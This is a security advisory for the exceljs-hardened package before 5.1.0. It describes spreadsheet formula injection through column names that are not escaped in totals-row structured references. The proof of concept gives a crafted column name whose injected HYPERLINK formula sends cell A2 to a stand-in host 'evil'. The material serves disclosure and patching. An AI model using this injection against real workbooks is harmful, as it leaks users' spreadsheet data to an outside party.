Improper Encoding or Escaping of Output Affecting exceljs-hardened package, versions <5.1.0


Severity

Recommended
0.0
low
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.23% (14th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-EXCELJSHARDENED-22552477
  • published15 Nov 2026
  • disclosed13 Nov 2026
  • creditMatéo Florian Callec

Introduced: 13 Nov 2026

NewCVE-2026-128348  (opens in a new tab)
CWE-116  (opens in a new tab)

How to fix?

Upgrade exceljs-hardened to version 5.1.0 or higher.

Overview

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via the totals row formula getter in lib/doc/table.js, which builds structured reference formulas of the form SUBTOTAL(109,<table>[<column>]) without escaping the characters [, ], #, and ' in column names. An attacker who controls column names - for example through imported CSV headers - can supply a name containing ] to break out of the structured reference and inject arbitrary spreadsheet formulas. Functions such as HYPERLINK can then exfiltrate cell values when a user opens the generated workbook and clicks the injected link.

PoC

const ws = wb.addWorksheet('S');

ws.addTable({
  name: 'T',
  ref: 'A1',
  headerRow: true,
  totalsRow: true,
  columns: [
    { name: 'k' },
    { name: 'Amount])+HYPERLINK("http://evil/?"&A2,"x")+SUM(T[Amount', totalsRowFunction: 'sum' },
  ],
  rows: [['a', 1], ['b', 2]],
});

The totals cell contains:

SUBTOTAL(109,T[Amount])+HYPERLINK("http://evil/?"&A2,"x")+SUM(T[Amount])

A name such as It's [x] #1 also produces an invalid reference.

CVSS Base Scores

version 4.0
version 3.1